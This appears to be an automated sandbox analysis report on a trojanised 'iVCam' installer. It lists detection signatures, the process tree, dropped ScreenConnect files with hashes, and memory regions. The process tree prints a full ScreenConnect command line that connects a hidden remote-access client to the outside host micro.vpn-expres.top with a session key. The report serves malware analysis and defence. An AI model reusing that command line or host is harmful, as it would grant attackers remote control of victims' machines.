Analysis

  • max time kernel
    300s
  • max time network
    243s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    10/07/2026, 02:44

General

  • Target
    ivcam/iVCam_x64_v7.4.0.exe
  • Size 505KB
  • Sample260710-c8drgacs9p
  • SHA256 8f47d7121ef6532ad9ad9901e44e237f5c30448b752028c58a9d19521414e40d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Checks for any installed AV software in registry 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 21 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 24 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

    Inno Setup installer

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ivcam\iVCam_x64_v7.4.0.exe
    "C:\Users\Admin\AppData\Local\Temp\ivcam\iVCam_x64_v7.4.0.exe"
    1⤵
    • Checks for any installed AV software in registry
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4068
    • C:\Users\Admin\AppData\Local\Temp\0eab8d69.exe
      "C:\Users\Admin\AppData\Local\Temp\0eab8d69.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4540
      • C:\Users\Admin\AppData\Local\Temp\is-2VOMG.tmp\0eab8d69.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-2VOMG.tmp\0eab8d69.tmp" /SL5="$50230,45808603,321024,C:\Users\Admin\AppData\Local\Temp\0eab8d69.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:3392
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\270EF9C3.tmp /qn REBOOT=ReallySuppress
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:4872
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\7789A5D3.tmp /qn REBOOT=ReallySuppress
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2068
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4480
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 0A1B9C6CA53D85CB74239DC05BA5801B
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2292
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI8B14.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240683859 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1700
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6AC5B212C9C2DCD5338C626D5FB45277 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      PID:4580
  • C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=micro.vpn-expres.top&p=8041&s=582f0ad3-239e-44c6-a678-1c68b8e0493c&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=ivcam&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1168
    • C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe" "RunRole" "5cfeb207-75d3-4144-9449-db7547bb1dfe" "User"
      2⤵
      • Executes dropped EXE
      PID:452

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e588616.rbs

        • Path C:\Config.Msi\e588616.rbs
        • Size 214KB
        • SHA256 d03fa9f3d5ddebb38bcec656a58f039f0c5a4c2e8a9cd5f24326a431efcc9bb7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.Override.en-US.resources
        • Size 227B
        • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.Override.resources
        • Size 4KB
        • SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\app.config
        • Size 1KB
        • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\system.config
        • Size 958B
        • SHA256 36d7af4a76f321642cfd01c00b51e454182e118c6ce17916e59c755e2d0e5e93
        • MD5 SHA1 SHA512 TLSH

        0eab8d69.exe

        • Path C:\Users\Admin\AppData\Local\Temp\0eab8d69.exe
        • Size 44.2MB
        • SHA256 6b195b20a40da4afa627e41c5c6bdba5cb59dc5efe2c484f77218ed82a7fda17
        • MD5 SHA1 SHA512 SSDEEP TLSH

        270EF9C3.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\270EF9C3.tmp
        • Size 12.8MB
        • SHA256 b9b3095c002aa94edef93750a49bdf4104e1061bdf13d492a4bdc917fd87c96d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dxsetup_dbg.log

        • Path C:\Users\Admin\AppData\Local\Temp\dxsetup_dbg.log
        • Size 879B
        • SHA256 2eb72bd8a22289a09f1c57cec63b21f57f7567178870c906319dfe28b3072148
        • MD5 SHA1 SHA512 TLSH

        0eab8d69.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\is-2VOMG.tmp\0eab8d69.tmp
        • Size 1.3MB
        • SHA256 9cce716d82b72a99db601b466d1376ea797ec3a8f98b77b8b96c9a7abd2c291b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI8B14.tmp

        • Path C:\Windows\Installer\MSI8B14.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI8B14.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI8B14.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI8B14.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI8B14.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI93A2.tmp

        • Path C:\Windows\Installer\MSI93A2.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DXError.log

        • Path C:\Windows\Logs\DXError.log
        • Size 554B
        • SHA256 03099e4fe4b445866d67fb8cd2d3d9838c0b88d8589d1aa6987bd527718f624b
        • MD5 SHA1 SHA512 TLSH

        2talwz1e.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\2talwz1e.newcfg
        • Size 584B
        • SHA256 7ffd36d02c05773dedeb43f73e9f2ee7ae53b74a517e885d835ef054f8ec0264
        • MD5 SHA1 SHA512 TLSH

        gnmmeoao.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\gnmmeoao.newcfg
        • Size 584B
        • SHA256 d09872f349ff69e77c973d30541a4fdd5ac2a132cb9960dc29f97547b3bdfd55
        • MD5 SHA1 SHA512 TLSH

        nizo1j54.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\nizo1j54.newcfg
        • Size 584B
        • SHA256 afb33a9773be56abeefdeecf1924d54cebee320cb1ee9d44d48e8989c61b9cd7
        • MD5 SHA1 SHA512 TLSH

        u4t3hvmf.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\u4t3hvmf.newcfg
        • Size 584B
        • SHA256 c5e53ae1d6bf041110f91fbc1414d421ed4ccdcae4b50aacbebe0790bc96dcd9
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\user.config
        • Size 584B
        • SHA256 3ff22ac0f4e7b61bbe6e62954efe8cb6fb0e22afefa4b2e6f6272c7dfed2f5a6
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\user.config
        • Size 584B
        • SHA256 e573a9c596346732c8457e98275e77242a5f876df40145e10edf905a7c8937f6
        • MD5 SHA1 SHA512 TLSH

        zvewcoqf.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\zvewcoqf.newcfg
        • Size 584B
        • SHA256 744861ef56ea5c976bac8e3c018b14cffdaa1a52a79cfa07acf532ceb60baf6c
        • MD5 SHA1 SHA512 TLSH

        memory/452-179-0x0000000002B90000-0x0000000002BC6000-memory.dmp

        memory/452-183-0x000000001BE00000-0x000000001BF88000-memory.dmp

        memory/452-188-0x000000001D850000-0x000000001D9F7000-memory.dmp

        memory/452-185-0x00000000012B0000-0x00000000012C8000-memory.dmp

        memory/452-184-0x0000000001260000-0x0000000001278000-memory.dmp

        memory/452-181-0x000000001BAC0000-0x000000001BC6C000-memory.dmp

        memory/452-180-0x000000001B880000-0x000000001B90E000-memory.dmp

        memory/452-178-0x0000000000920000-0x00000000009B8000-memory.dmp

        memory/1168-135-0x0000000001570000-0x0000000001588000-memory.dmp

        memory/1168-148-0x0000000004040000-0x0000000004090000-memory.dmp

        memory/1168-152-0x0000000004090000-0x00000000040C6000-memory.dmp

        memory/1168-153-0x0000000004170000-0x0000000004202000-memory.dmp

        memory/1168-155-0x0000000003FF0000-0x0000000004031000-memory.dmp

        memory/1168-159-0x0000000004350000-0x0000000004425000-memory.dmp

        memory/1700-86-0x0000000005550000-0x000000000555A000-memory.dmp

        memory/1700-82-0x00000000031C0000-0x00000000031EE000-memory.dmp

        memory/1700-95-0x0000000006050000-0x00000000065F6000-memory.dmp

        memory/1700-90-0x00000000055F0000-0x000000000567E000-memory.dmp

        memory/1700-94-0x00000000058F0000-0x0000000005A9C000-memory.dmp

        memory/3392-225-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-282-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-206-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-209-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-187-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-160-0x00000000021C0000-0x00000000021C1000-memory.dmp

        memory/3392-229-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-147-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-245-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-248-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-251-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-347-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-267-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-270-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-273-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-276-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-279-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-192-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-20-0x00000000021C0000-0x00000000021C1000-memory.dmp

        memory/3392-298-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-301-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-304-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-307-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-310-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-313-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-316-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-344-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-332-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-335-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-338-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/3392-341-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4540-10-0x0000000000400000-0x0000000000458000-memory.dmp

        memory/4540-146-0x0000000000400000-0x0000000000458000-memory.dmp